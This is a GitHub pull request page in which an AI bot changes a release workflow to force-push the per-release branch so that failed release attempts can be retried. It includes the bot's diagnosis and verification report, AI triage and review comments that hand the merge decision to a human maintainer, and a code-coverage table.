Skip to content

fix(ci): force-push release branch so retries replace failed attempts (#9076) - #9082

Merged
wenshao merged 11 commits into
mainfrom
autofix/issue-9076
Aug 16, 2026
Merged

fix(ci): force-push release branch so retries replace failed attempts (#9076)#9082
wenshao merged 11 commits into
mainfrom
autofix/issue-9076

Conversation

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

What this PR does

The release publish job now force-pushes the per-release branch (release/<tag>) instead of doing a plain push. When an earlier attempt of the same release failed after pushing that branch, the stale branch remains on the remote, and every retry dies in the "Commit and Conditionally Push package versions" step with a non-fast-forward rejection because the retry's fresh version-bump commit diverges from the stale tip. With the force push, a retry simply replaces the stale branch and the release proceeds. A release-workflow script test pins the new command so it cannot silently regress.

Why it's needed

This is exactly what blocked the v0.21.12-preview.0 release in issue #9076. Run 863 pushed release/v0.21.12-preview.0 and then failed at "Build Standalone Archives". After a fix commit landed on the feature branch, the re-dispatched run 864 computed the same version (correctly — nothing had been published), committed a fresh bump on the new head, and was rejected at the push because the remote branch still pointed at run 863's divergent bump commit. The release version computation already increments the version whenever an npm package, git tag, or GitHub release exists for it, so reaching this push with an unchanged version guarantees nothing has shipped for it — the stale branch can only hold a prior bump commit, which makes replacing it safe. Without this fix, any release whose first attempt fails after the branch push can never be retried without someone manually deleting the remote branch.

Reviewer Test Plan

How to verify

The incident itself is a GitHub Actions push rejection and cannot be replayed verbatim in unit tests, so the verification is a local reconstruction of the exact git topology plus the repository's lint/test gates:

  1. Confirm the diagnosis against the live refs: git ls-remote origin 'refs/heads/release/v0.21.12-preview.0' shows the stale branch left by the failed run 863, and there are no v0.21.12* tags, so nothing shipped.
  2. Topology reproduction: in a scratch repo with a bare remote, push a release/v0.21.12-preview.0 bump branch from one head, then clone, advance the head, recreate the branch with a new bump commit, and push. The old command (git push --set-upstream origin <branch>) fails with ! [rejected] ... (non-fast-forward) — the incident's exact error — while the new command (git push --force --set-upstream origin <branch>) succeeds with (forced update) and the remote branch carries the new head plus bump.
  3. Run the pinned workflow tests: npx vitest run --config ./scripts/tests/vitest.config.ts scripts/tests/release-workflow.test.js — all pass, including the new pin.
  4. Confirm the dry-run path is untouched (the force push is inside the existing IS_DRY_RUN == "false" branch) and that first-time releases are unaffected (force-pushing a nonexistent ref creates it).
  5. Reviewer judgment call: confirm that replacing the stale branch is acceptable for this repo's release flow. The finalize/changelog flow only runs after a release is published, and a published version would have incremented the computed version, so a force push here can never overwrite finalize work.

Evidence (Before & After)

N/A — CI workflow change, no user-visible/TUI behavior.

Before: git push --set-upstream origin "${BRANCH_NAME}" --follow-tags! [rejected] release/v0.21.12-preview.0 -> release/v0.21.12-preview.0 (non-fast-forward) on any retry after a failed attempt that pushed the branch (reproduced in the local topology rig; identical to run 864's failed step).
After: git push --force --set-upstream origin "${BRANCH_NAME}" --follow-tags+ <old>...<new> release/v0.21.12-preview.0 -> release/v0.21.12-preview.0 (forced update), and a fresh clone shows the remote branch carries the new head plus the bump commit.

Tested on

OS Status
🍏 macOS ⚠️
🪟 Windows ⚠️
🐧 Linux

Environment (optional)

Linux GitHub Actions runner (ubuntu). Verification was local git-topology reproduction, YAML/bash syntax checks, and the repository's script test suite plus build/typecheck/lint gates; no real release was triggered.

Risk & Scope

  • Main risk or tradeoff: the publish job can now overwrite an existing release/<tag> branch. This is safe under the current flow (a version with no npm package, tag, or release cannot have shipped, so the branch can only hold a stale bump commit), but it relies on that invariant; if a future change moves publishing before the version-existence check, this assumption must be revisited.
  • Not validated / out of scope: a live end-to-end release run (requires triggering the real workflow with release credentials). The same plain-push pattern exists in release-sdk.yml's stable push but was not failing here and is left untouched. The queued/in-flight retries dispatched before this change merges still carry the old command; the next dispatch from a ref containing this fix unblocks v0.21.12-preview.0 automatically.
  • Breaking changes / migration notes: none; no settings, CLI, or package behavior changes.

Linked Issues

Fixes #9076

中文说明

本 PR 做了什么

发布(release)的 publish 任务现在对每个发布分支(release/<tag>)执行强制推送(force-push),而不再是普通推送。当同一版本更早的一次尝试在推送该分支之后失败时,陈旧分支会留在远端;之后每次重试都会在 "Commit and Conditionally Push package versions" 步骤死于 non-fast-forward 拒绝,因为重试新建的版本 bump 提交与陈旧 tip 已经分叉。改为强制推送后,重试会直接替换陈旧分支,发布得以继续。同时在 release-workflow 脚本测试中加入了固定测试(pin),防止该命令被悄悄改回。

为什么需要

这正是 issue #9076v0.21.12-preview.0 发布被卡住的原因。Run 863 推送了 release/v0.21.12-preview.0,随后在 "Build Standalone Archives" 失败。修复提交落到特性分支后,重新触发的 run 864 计算出相同版本(这是正确的 —— 尚无任何发布产物),在新 head 上提交了新的 bump,却在推送时被拒绝,因为远端分支仍指向 run 863 的分叉 bump 提交。发布版本计算逻辑在 npm 包、git tag 或 GitHub release 已存在时会自动递增版本,因此能以不变版本走到此推送就意味着该版本没有任何发布产物 —— 陈旧分支上只可能有上一次的 bump 提交,替换它是安全的。没有本修复,任何在分支推送之后失败的首次发布都无法重试,除非有人手动删除远端分支。

审阅者测试计划

如何验证

事故本身是 GitHub Actions 的推送拒绝,无法在单元测试中原样重放,因此验证方式为精确 git 拓扑的本地重建加上仓库的 lint/测试门禁:

  1. 对照线上引用确认诊断:git ls-remote origin 'refs/heads/release/v0.21.12-preview.0' 可见失败 run 863 留下的陈旧分支,且不存在任何 v0.21.12* tag,说明没有任何发布产物。
  2. 拓扑复现:在带 bare remote 的临时仓库中,先从一个 head 推送 release/v0.21.12-preview.0 bump 分支;再 clone、推进 head、重建分支并提交新的 bump,然后推送。旧命令(git push --set-upstream origin <branch>)报 ! [rejected] ... (non-fast-forward) —— 与事故完全相同的错误;新命令(git push --force --set-upstream origin <branch>)以 (forced update) 成功,且远端分支携带新 head 与 bump。
  3. 运行固定的 workflow 测试:npx vitest run --config ./scripts/tests/vitest.config.ts scripts/tests/release-workflow.test.js —— 全部通过,包含新增的固定测试。
  4. 确认 dry-run 路径未被触碰(强制推送位于既有的 IS_DRY_RUN == "false" 分支内),且首次发布不受影响(强制推送不存在的引用会直接创建它)。
  5. 需要审阅者判断:确认对本仓库发布流程而言替换陈旧分支是可接受的。finalize/changelog 流程只在 release 发布后运行,而已发布的版本会使版本计算递增,因此这里的强制推送不可能覆盖 finalize 的工作。

证据(修改前后)

N/A —— CI workflow 修改,无用户可见/TUI 行为。

修改前:git push --set-upstream origin "${BRANCH_NAME}" --follow-tags → 在任何"失败尝试已推送分支"之后的重试中报 ! [rejected] release/v0.21.12-preview.0 -> release/v0.21.12-preview.0 (non-fast-forward)(在本地拓扑场景中复现;与 run 864 失败步骤一致)。
修改后:git push --force --set-upstream origin "${BRANCH_NAME}" --follow-tags+ <old>...<new> release/v0.21.12-preview.0 -> release/v0.21.12-preview.0 (forced update),全新 clone 显示远端分支携带新 head 与 bump 提交。

测试环境

OS 状态
🍏 macOS ⚠️ 未测试
🪟 Windows ⚠️ 未测试
🐧 Linux ✅ 已测试

环境(可选)

Linux GitHub Actions runner(ubuntu)。验证方式为本地 git 拓扑复现、YAML/bash 语法检查,以及仓库脚本测试套件和 build/typecheck/lint 门禁;未触发真实发布。

风险与范围

  • 主要风险或权衡:publish 任务现在可以覆盖已存在的 release/<tag> 分支。在当前流程下是安全的(无 npm 包、tag、release 的版本不可能已发布,分支上只可能有陈旧 bump 提交),但该结论依赖这一不变量;若未来有改动把发布动作移到版本存在性检查之前,需要重新审视此假设。
  • 未验证/超出范围:真实的端到端发布运行(需要以发布凭据触发真实 workflow)。release-sdk.yml 的 stable 推送存在同样的普通推送模式,但本次事故不涉及,未改动。在本修改合入前已排队/运行中的重试仍携带旧命令;从包含本修复的 ref 触发的下一次发布将自动解除 v0.21.12-preview.0 的阻塞。
  • 破坏性变更/迁移说明:无;不涉及 settings、CLI 或包行为变化。

关联 Issue

Fixes #9076

…#9076)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator Author

Autofix E2E Report — Issue #9076 (Release Failed for v0.21.12-preview.0)

Root cause

The publish job died in the "Commit and Conditionally Push package versions" step because the release branch push was rejected.

Evidence from the failed run (actions/runs/31683228236), the run history, and remote refs:

  • An earlier attempt (run 863, head f2f0b62e56 of feat/opentui-migrate) pushed release/v0.21.12-preview.0, then failed at "Build Standalone Archives". The branch was left behind on the remote.
  • A standalone-build fix (03cfc5c0e9, "fix(release): hoist OpenTUI platform package list above top-level main()") was pushed to the feature branch and the release was dispatched again (run 864).
  • Run 864 computed the same version v0.21.12-preview.0 — correct, because the release-version computation only increments when an npm package, git tag, or GitHub release already exists, and the failed attempt had published nothing and created no tag. It committed a fresh version bump on top of the new head and ran git push --set-upstream origin release/v0.21.12-preview.0. That push is necessarily rejected as non-fast-forward: the remote branch still points at run 863's divergent bump commit (parented on f2f0b62e56, not an ancestor of the new tip).
  • Reproduced the exact git topology locally: the old command fails with ! [rejected] release/v0.21.12-preview.0 (non-fast-forward). Once a failed attempt leaves the branch behind, every retry of that release is permanently blocked at this step.

Fix

The publish job now force-pushes the release branch, so a retry replaces a stale branch left by a failed earlier attempt instead of dying on a non-fast-forward rejection. First-time attempts are unaffected (force-pushing a ref that does not exist simply creates it). The force is safe by construction: the version computation increments the version whenever anything was already published for it, so when the publish job reaches this push, no npm package, tag, or release can exist for this version — nothing can have shipped, and the stale branch tip can only be a prior bump commit (the finalize/changelog flow only runs after a release is published). A regression pin was added to the release-workflow script tests.

Note for the stuck release: GitHub Actions evaluates the workflow from the dispatched ref, so retries dispatched before this change lands still carry the old push command; once it is on the released ref (or merged to main and re-dispatched), the next attempt replaces release/v0.21.12-preview.0 automatically and proceeds.

Verification

  • git ls-remote origin 'refs/heads/release/v0.21.12-preview.0' — confirmed the stale branch exists on the remote (left by the failed run 863); git ls-remote for v0.21.12* tags — none, confirming nothing was published/tagged.
  • GitHub Actions API (public, read-only): run 864 step conclusions — "Commit and Conditionally Push package versions" is the only failed step in the publish job; run 863 failed at "Build Standalone Archives" after its push succeeded. Check-run annotations carry only the generic exit-code message, so the failure mode was derived from the remote ref state instead.
  • Local topology reproduction (/tmp/release-push-rig): rebuilt run-863-then-run-864 with bare remote. Old command → ! [rejected] ... (non-fast-forward), exit 1 (reproduces the incident). New command → + <old>...<new> ... (forced update), exit 0; a fresh clone confirms the remote branch now carries the new head plus the bump commit.
  • YAML parse of .github/workflows/release.yml (repo yaml package) — OK; bash -n on the extracted step script — OK.
  • npx vitest run --config ./scripts/tests/vitest.config.ts scripts/tests/release-workflow.test.js — 7 passed (includes the new regression pin).
  • npm run test:scripts — 1145 passed, 1 failed: scripts/tests/verify-capture.test.js > renders 256-colour and truecolor via the default-grey fallback. This failure reproduces identically on the pristine base (verified by stashing this PR's changes and re-running), so it is pre-existing and environment-specific (terminal color rendering on this runner), unrelated to this change.
  • npm run build — passed.
  • npm run typecheck — passed.
  • npm run lint — passed.
  • npx prettier --check .github/workflows/release.yml scripts/tests/release-workflow.test.js — all files use Prettier code style.
  • Integration tests: not applicable — the change is a workflow-file edit with no bundled-CLI behavior.
中文说明

Autofix E2E 报告 — Issue #9076(v0.21.12-preview.0 发布失败)

根因

publish 任务在 "Commit and Conditionally Push package versions" 步骤失败,原因是发布分支推送被拒绝。

证据来自失败运行(actions/runs/31683228236)、运行历史与远端引用:

  • 更早的一次尝试(run 863,feat/opentui-migrate 的 head f2f0b62e56)推送了 release/v0.21.12-preview.0,随后在 "Build Standalone Archives" 步骤失败,分支被留在远端。
  • 独立构建修复(03cfc5c0e9,"fix(release): hoist OpenTUI platform package list above top-level main()")被推送到该特性分支后,发布被重新触发(run 864)。
  • Run 864 计算出相同版本 v0.21.12-preview.0 —— 这是正确的,因为版本计算只有在 npm 包、git tag 或 GitHub release 已存在时才会递增,而失败的尝试既没有发布任何包,也没有创建 tag。它在新的 head 上提交了新的版本 bump,然后执行 git push --set-upstream origin release/v0.21.12-preview.0。该推送必然被以 non-fast-forward 拒绝:远端分支仍指向 run 863 的分叉 bump 提交(其父提交是 f2f0b62e56,不是新 tip 的祖先)。
  • 在本地复现了完全相同的 git 拓扑:旧命令报 ! [rejected] release/v0.21.12-preview.0 (non-fast-forward)。一旦失败的尝试留下分支,该版本的每次重试都会永久卡在这一步。

修复

publish 任务现在对发布分支执行强制推送(force-push),重试会替换失败尝试留下的陈旧分支,而不是死于 non-fast-forward 拒绝。首次尝试不受影响(强制推送一个不存在的引用只会创建它)。该强制推送在构造上是安全的:只要该版本已有任何发布产物,版本计算就会递增版本号,因此当 publish 任务执行到此推送时,该版本不可能存在 npm 包、tag 或 release —— 没有任何东西已经发布,陈旧分支的 tip 只可能是上一次的 bump 提交(finalize/changelog 流程只在 release 发布后运行)。同时在 release-workflow 脚本测试中加入了回归固定(regression pin)。

对当前卡住的发布的说明:GitHub Actions 使用被触发 ref 上的 workflow 文件,因此在本次修改落地之前触发的重试仍然携带旧的推送命令;一旦修改存在于被发布的 ref(或合入 main 后重新触发),下一次尝试会自动替换 release/v0.21.12-preview.0 并继续。

验证

  • git ls-remote origin 'refs/heads/release/v0.21.12-preview.0' — 确认陈旧分支存在于远端(由失败的 run 863 留下);git ls-remote 查询 v0.21.12* tag — 无,确认没有任何发布/打 tag。
  • GitHub Actions API(公开、只读):run 864 各步骤结论 — "Commit and Conditionally Push package versions" 是 publish 任务中唯一失败的步骤;run 863 在推送成功后于 "Build Standalone Archives" 失败。Check-run 注解只有通用的退出码信息,因此失败模式是通过远端引用状态推导的。
  • 本地拓扑复现(/tmp/release-push-rig):用 bare remote 重建了 run-863-然后-run-864 的场景。旧命令 → ! [rejected] ... (non-fast-forward),退出码 1(复现事故)。新命令 → + <old>...<new> ... (forced update),退出码 0;全新 clone 确认远端分支现在携带新 head 加 bump 提交。
  • .github/workflows/release.yml 的 YAML 解析(使用仓库的 yaml 包)— 通过;对提取出的步骤脚本执行 bash -n — 通过。
  • npx vitest run --config ./scripts/tests/vitest.config.ts scripts/tests/release-workflow.test.js — 7 个测试通过(包含新的回归固定)。
  • npm run test:scripts — 1145 通过,1 失败:scripts/tests/verify-capture.test.js > renders 256-colour and truecolor via the default-grey fallback。该失败在干净的基线上同样复现(通过 stash 本 PR 改动后重新运行验证),属于预先存在的环境相关失败(本 runner 上的终端颜色渲染),与本修改无关。
  • npm run build — 通过。
  • npm run typecheck — 通过。
  • npm run lint — 通过。
  • npx prettier --check .github/workflows/release.yml scripts/tests/release-workflow.test.js — 所有文件符合 Prettier 格式。
  • 集成测试:不适用 —— 本修改仅涉及 workflow 文件,无打包 CLI 行为变化。

🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@qwen-code-ci-bot

qwen-code-ci-bot commented Aug 13, 2026

Copy link
Copy Markdown
Collaborator

Qwen Triage finishedview run. See the stage comments in this thread for the result.

Qwen Triage 已完成 —— 查看运行。结果见本线程中的各阶段评论。

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

Thanks for the PR!

Template looks good ✓

Problem: observed, verified. Release run 864 (the one linked from #9076) died exactly where this PR says — the ! [rejected] release/v0.21.12-preview.0 (non-fast-forward) rejection at "Commit and Conditionally Push package versions", after run 863 had pushed the branch and then failed at "Build Standalone Archives". I read the failing job's log; the diagnosis matches line for line. One note: the immediate incident was already cleared manually — run 865 succeeded shortly after and shipped v0.21.12-preview.1 — so this PR is about preventing the recurrence, which it does address.

Direction: aligned, with one policy flag. A release that can never be retried after a post-push failure is a real operational hole, and fixing it in the workflow is the right place. That said, this touches the release pipeline itself, so it needs a maintainer's sign-off before merge regardless of how clean the review is.

Size: not applicable — no core package paths; 2 files, +17/−1.

Approach: minimal, and the right variant. One word (--force) plus a comment explaining the invariant, plus a test pin. The obvious question is why not --force-with-lease — on a fresh CI checkout there is no remote-tracking ref for the release branch, so the lease has nothing to compare against and would refuse the push outright; plain --force guarded by the "nothing shipped for this version" invariant is the workable option. Leaving the same plain-push pattern in release-sdk.yml untouched is honest scoping since it wasn't the one failing.

Risk: no high-risk-path signal from the revert history. The elevated sensitivity here is the release pipeline itself (see direction), not the file paths.

Moving on to code review, with the merge decision held for a maintainer. 🔍

中文说明

感谢贡献!

模板完整 ✓

问题:已观测、已核实。 Release run 864(即 #9076 关联的那次)正是死在本 PR 所述的位置——在 run 863 推送分支、随后在 "Build Standalone Archives" 失败之后,run 864 在 "Commit and Conditionally Push package versions" 步骤报 ! [rejected] release/v0.21.12-preview.0 (non-fast-forward)。我读过失败 job 的日志,诊断与日志逐行吻合。需要说明:当前事故已被手动解除——run 865 随后成功并发布了 v0.21.12-preview.1——所以本 PR 解决的是防止复发,这一点它做到了。

方向:对齐,但有一个策略标记。 发布在分支推送之后失败就永远无法重试,这是一个真实的运维漏洞,在 workflow 里修复是正确的位置。不过,本 PR 触及 release 流水线本身,无论 review 多干净,合入前都需要 maintainer 确认。

规模: 不适用——未触及核心包路径;2 个文件,+17/−1。

方案:最小改动,且选对了变体。 一个词(--force)加一段解释不变量的注释,再加一个固定测试。显而易见的问题是为什么不用 --force-with-lease——全新 CI checkout 里没有该 release 分支的 remote-tracking 引用,lease 没有可比对的对象,会直接拒绝推送;在"该版本无任何发布产物"不变量的保护下使用普通 --force 是可行的选项。release-sdk.yml 里同样的普通推送模式未改动,因为出问题的不是它,属于诚实的范围界定。

风险: revert 历史的高风险路径无命中。此处的敏感性来自 release 流水线本身(见方向),而不是文件路径。

进入代码审查,合入决定留给 maintainer。🔍

Qwen Code · qwen3.8-max

Reviewed at 807940a87d2b0ee3b7a21fa6544d38723c63e88f · re-run with @qwen-code /triage

@qwen-code-ci-bot

qwen-code-ci-bot commented Aug 13, 2026

Copy link
Copy Markdown
Collaborator

Code review

My independent proposal for this problem was exactly what the PR does: plain --force on the release-branch push inside the non-dry-run path, with a pin test. I verified the safety case against the code rather than taking the PR's word for it:

  • scripts/version.js bumps with --no-git-tag-version, so no local tag exists at push time — --follow-tags has nothing to force-update, and the git tag is only created later via the GitHub API after npm publish. The feared "force overwrites a shipped tag" path doesn't exist.
  • scripts/get-release-version.js increments the computed version while it exists on npm (across all ten published packages), as a git tag, or as a GitHub release. Reaching the push with an unchanged version therefore guarantees nothing shipped for it, and the stale tip can only be a prior bump commit — the PR's core invariant holds. Versions are never reused, so release/<tag> is only ever written by this workflow for that version.
  • The repo's only ruleset targets ~DEFAULT_BRANCH, so nothing branch-side will reject the force push.
  • First-time releases are unaffected (forcing a nonexistent ref creates it), the dry-run path is untouched, and --set-upstream/--follow-tags are preserved. The new test matches the file's existing YAML-pinning convention.

No blockers. Two non-blocking notes: the invariant rests on ordering (version computation → push → publish), which the PR itself flags in Risk & Scope — worth keeping in mind if the flow ever changes. And two same-version runs dispatched concurrently could still race, but that race is pre-existing and not widened by this change.

Testing

This is an unattended CI run, so no PR code was built or executed here — the evidence is the PR's own CI, quoted below. The unit suite (which contains the new release-workflow.test.js pin) was still running at review time; I don't poll for it, and the CI table below is updated in place by the finalize job once checks settle. Not verified: a live release retry — PR CI never runs a real release, so the end-to-end "retry now succeeds" claim rests on the workflow change plus the incident's own logs, not on this suite.

Final CI results for 807940a (auto-updated by the triage finalize job after CI completed):

Check Conclusion
Classify PR ✅ success
Desktop Shell (ubuntu-22.04) ✅ success
Desktop Shell (windows-2022) ✅ success
Post Coverage Comment (ubuntu-latest, 22.x) ✅ success
Test (ubuntu-latest, Node 22.x) ✅ success
web-shell E2E Smoke (ubuntu-latest, Node 22.x) ✅ success

One row per check name (latest run); skipped checks omitted; failures sort first. / 每个检查名一行(取最新一次运行),省略 skipped,失败项排在最前。

Sandboxed verification would settle the command-level claim: @qwen-code /verify — that a retry against a stale branch actually passes cannot be proven by this PR's CI (the pin test asserts the string and would pass even if the force push never fired in anger); a targeted gate reconstructing the git topology (bare remote, divergent bump commit) could prove the rejection and the forced update, though only a real dispatch proves the full workflow retry.

中文说明

代码审查:我对这个问题的独立方案与 PR 完全一致——在非 dry-run 路径对 release 分支推送加 --force,并配固定测试。安全性论证是我对照代码逐一核实过的,而不是照单全收:bump 步骤使用 --no-git-tag-version,推送时本地不存在任何 tag,--follow-tags 不会强推任何已发布的 tag(tag 在 npm 发布之后才通过 GitHub API 创建);版本计算会在 npm(全部十个包)、git tag、GitHub release 任一存在时递增版本,因此能以不变版本走到推送就意味着没有任何发布产物,陈旧 tip 只可能是上一次的 bump 提交;仓库唯一的 ruleset 只作用于默认分支,不会拦截这次强制推送;首次发布不受影响(对不存在的引用强推即创建),dry-run 路径未动,新测试与文件既有约定一致。无阻塞项。两个非阻塞提醒:该不变量依赖流程顺序(版本计算 → 推送 → 发布),PR 自己在风险一节也标注了;两个相同版本的发布并发派发仍可能竞争,但这是既有问题,本改动没有放大它。

测试:本次为无人值守 CI 运行,未构建或执行任何 PR 代码——证据是 PR 自身的 CI 结果(见上方表格,由 finalize 任务在检查完成后原地更新)。单元测试套件(含新增的 release-workflow 固定测试)在审查时仍在运行。未验证:真实的发布重试——PR CI 从不执行真实发布,端到端的"重试可以成功"依赖 workflow 改动本身与事故日志,而非本套件。沙箱验证可补齐命令级证据:@qwen-code /verify 可通过重建 git 拓扑(bare remote + 分叉的 bump 提交)证明拒绝与强制更新,但完整的工作流重试只有真实派发才能证明。

Qwen Code · qwen3.8-max

Reviewed at 807940a87d2b0ee3b7a21fa6544d38723c63e88f · re-run with @qwen-code /triage

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

Confidence: 3/5 — clean review, but a release-pipeline change needs a maintainer's sign-off, so this defers instead of approving.

Stepping back: this is exactly the fix I would have written. The diff is the minimal change — one word, a comment carrying the safety argument, and a test pin — and it matches the repo's existing workflow-test conventions. I didn't stop at the PR's framing: the non-fast-forward rejection is visible in run 864's own log, and the "nothing shipped, so the stale tip is only a prior bump" invariant checks out against get-release-version.js and version.js, not just the PR description. Six months from now this reads as a well-reasoned two-file fix, not something to curse at.

The reason I'm not approving is policy, not doubt: this changes push semantics in the release pipeline, and its safety rests on an ordering invariant (version computation → push → publish) that the release process owns. That is a judgment call for the release-pipeline maintainer — the PR itself lists it as reviewer item #5 — and release-pipeline changes don't get auto-approved here. Also worth noting there's no urgency lever: the stuck release was already cleared manually (run 865 shipped v0.21.12-preview.1), so this can wait for a proper human look. CI on the reviewed commit was still in flight at review time (unit suite running); nothing in it affects the deferral either way.

⏸️ Deferring to @wenshao — the change is sound and verified as far as static review and the incident logs go, but force-pushing release branches is a release-pipeline policy decision that needs a human call on this one.

中文说明

整体看:这正是我会写的修复。diff 是最小改动——一个词、一段承载安全性论证的注释、一个固定测试——并且符合仓库既有的 workflow 测试约定。我没有停留在 PR 的自我陈述:non-fast-forward 拒绝在 run 864 的日志里清晰可见;"无发布产物、陈旧 tip 只可能是上一次 bump"的不变量我对照 get-release-version.jsversion.js 核实过。半年后再看,这是一处论证充分的两文件修复。

不批准的原因是策略而非疑虑:本改动改变了发布流水线的推送语义,其安全性依赖发布流程自己维护的顺序不变量(版本计算 → 推送 → 发布),这属于 release 流水线维护者的判断——PR 自己也把它列为审阅项 #5——release 流水线的改动在这里不做自动批准。另外无需着急:卡住的发布已被手动解除(run 865 已发布 v0.21.12-preview.1),可以从容等待人工确认。审查时该提交的 CI 仍在运行(单元测试套件),与本次转交决定无关。

⏸️ 转交 @wenshao——改动合理且已尽静态审查与事故日志所能验证,但对 release 分支强制推送属于发布流水线策略决定,需要人工拍板。

Qwen Code · qwen3.8-max

Reviewed at 807940a87d2b0ee3b7a21fa6544d38723c63e88f · re-run with @qwen-code /triage

@github-actions

github-actions Bot commented Aug 13, 2026

Copy link
Copy Markdown
Contributor

Code Coverage Summary

Package Lines Statements Functions Branches
CLI 84.41% 84.41% 90.16% 83.6%
Core 88.03% 88.03% 89.57% 86.58%
CLI Package - Full Text Report
-------------------|---------|----------|---------|---------|-------------------
File               | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s 
-------------------|---------|----------|---------|---------|-------------------
All files          |   84.41 |     83.6 |   90.16 |   84.41 |                   
 src               |   85.69 |    81.73 |   88.03 |   85.69 |                   
  cli.ts           |   95.68 |    84.11 |     100 |   95.68 | ...60-561,565-566 
  gemini.tsx       |    73.4 |    78.04 |   80.76 |    73.4 | ...1338-1342,1469 
  ...ractiveCli.ts |   88.12 |    82.41 |   88.88 |   88.12 | ...3108,3114,3180 
  ...liCommands.ts |   88.64 |    82.96 |      80 |   88.64 | ...77-579,593,692 
  ...ActiveAuth.ts |     100 |     87.5 |     100 |     100 | 66-80             
 ...cp-integration |   72.26 |     74.7 |   91.58 |   72.26 |                   
  acpAgent.ts      |   71.66 |    74.53 |   91.13 |   71.66 | ...35,12840-12842 
  ...k-reporter.ts |     100 |       80 |     100 |     100 | 81,84,119,141     
  authMethods.ts   |      92 |       60 |     100 |      92 | 33-34             
  errorCodes.ts    |     100 |      100 |     100 |     100 |                   
  ...ion-skills.ts |     100 |    88.23 |     100 |     100 | 17,32             
  generation.ts    |    97.1 |    81.25 |     100 |    97.1 | 109,112           
  ...figuration.ts |     100 |      100 |     100 |     100 |                   
  ...DirContext.ts |     100 |      100 |     100 |     100 |                   
 ...ration/service |    97.1 |    95.83 |   93.33 |    97.1 |                   
  filesystem.ts    |    97.1 |    95.83 |   93.33 |    97.1 | ...22-123,246-247 
 ...ration/session |   91.09 |    86.16 |   96.35 |   91.09 |                   
  Session.ts       |    90.4 |    84.68 |   95.96 |    90.4 | ...16,11643-11647 
  ...entTracker.ts |    96.8 |    89.36 |      90 |    96.8 | 137-143,221       
  ...projection.ts |   98.85 |    91.59 |     100 |   98.85 | 234,250,262       
  ...stop-guard.ts |     100 |    98.07 |     100 |     100 | 37,127            
  ...eplay-page.ts |   94.11 |     86.3 |     100 |   94.11 | ...11,315,395,399 
  ...y-replayer.ts |   83.17 |    92.98 |   94.11 |   83.17 | ...24-142,260-262 
  index.ts         |       0 |        0 |       0 |       0 | 1-40              
  ...ssionUtils.ts |   89.76 |    87.32 |     100 |   89.76 | ...54-270,326-328 
  ...oal-update.ts |   98.61 |    97.29 |     100 |   98.61 | 64                
  ...lure-guard.ts |   98.32 |    97.72 |     100 |   98.32 | 294-295,340-341   
  tasksSnapshot.ts |    94.3 |     87.5 |     100 |    94.3 | 65-71             
  ...on-tracker.ts |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...ssion/emitters |    95.7 |    93.37 |   96.87 |    95.7 |                   
  ...ageEmitter.ts |   95.25 |    93.54 |     100 |   95.25 | ...08-115,128-129 
  PlanEmitter.ts   |     100 |       90 |     100 |     100 | 66                
  base-emitter.ts  |   78.26 |       75 |     100 |   78.26 | 23-24,26-28       
  index.ts         |       0 |        0 |       0 |       0 | 1-10              
  ...ll-emitter.ts |   99.18 |    96.47 |     100 |   99.18 | 355-356           
 ...ession/rewrite |    91.8 |    89.13 |   94.44 |    91.8 |                   
  LlmRewriter.ts   |    82.4 |     86.2 |     100 |    82.4 | ...,88-89,166-170 
  ...Middleware.ts |   96.96 |    88.09 |     100 |   96.96 | 144,152-154       
  TurnBuffer.ts    |     100 |      100 |     100 |     100 |                   
  config.ts        |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 src/agent-view    |   89.03 |    81.37 |   89.09 |   89.03 |                   
  ...t-cli-argv.ts |     100 |      100 |     100 |     100 |                   
  protocol.ts      |     100 |      100 |     100 |     100 |                   
  ...sor-client.ts |   80.38 |    72.54 |   76.66 |   80.38 | ...22-626,652-656 
  ...or-process.ts |   96.61 |    89.47 |   84.61 |   96.61 | 129-130,150-151   
  ...sor-runner.ts |    84.9 |     75.6 |      85 |    84.9 | ...44,468,471-481 
  ...sor-server.ts |   85.71 |    83.06 |   95.45 |   85.71 | ...67-468,471-488 
  ...isor-store.ts |   97.73 |    81.16 |     100 |   97.73 | ...92,594,607,643 
  ...nal-bridge.ts |   93.98 |     91.3 |   83.33 |   93.98 | 228-238           
 src/commands      |   91.03 |    80.09 |   66.66 |   91.03 |                   
  auth.ts          |     100 |    83.33 |     100 |     100 | 11,14             
  channel.ts       |   55.55 |      100 |       0 |   55.55 | 18-22,30-40       
  extensions.tsx   |   96.77 |      100 |      50 |   96.77 | 39                
  hooks.tsx        |   66.66 |      100 |       0 |   66.66 | 20-24             
  mcp.ts           |   95.45 |      100 |      50 |   95.45 | 31                
  review.ts        |   98.79 |      100 |      50 |   98.79 | 94                
  serve.ts         |   90.08 |    77.96 |     100 |   90.08 | ...81,884-887,899 
  sessions.ts      |     100 |      100 |      50 |     100 |                   
  update.ts        |   98.13 |    94.44 |   66.66 |   98.13 | 82-83             
 ...mmands/channel |   89.08 |    88.57 |   90.64 |   89.08 |                   
  channel-cwd.ts   |     100 |      100 |     100 |     100 |                   
  ...l-registry.ts |   94.88 |    95.49 |      90 |   94.88 | ...20-323,368-371 
  ...entry-path.ts |      75 |       50 |     100 |      75 | 8-9               
  config-utils.ts  |   95.88 |    96.35 |     100 |   95.88 | ...08-213,271-274 
  configure.ts     |    14.7 |      100 |       0 |    14.7 | 18-21,23-84       
  daemon-worker.ts |   93.91 |    85.61 |   94.33 |   93.91 | ...1264,1271-1272 
  loop-runtime.ts  |   91.66 |      100 |      50 |   91.66 | 15,22             
  ...classifier.ts |   98.53 |    96.66 |     100 |   98.53 | 115-116,161       
  ...tact-store.ts |   93.51 |    87.65 |     100 |   93.51 | ...71,288-289,337 
  pairing.ts       |      75 |      100 |      50 |      75 | 22-28,59-70       
  pidfile.ts       |   95.55 |       90 |     100 |   95.55 | ...50-251,315-316 
  proxy.ts         |     100 |      100 |     100 |     100 |                   
  reload.ts        |    77.5 |    86.95 |      75 |    77.5 | 72-84,93-97       
  runtime.ts       |   82.43 |    86.44 |     100 |   82.43 | ...87-191,251-253 
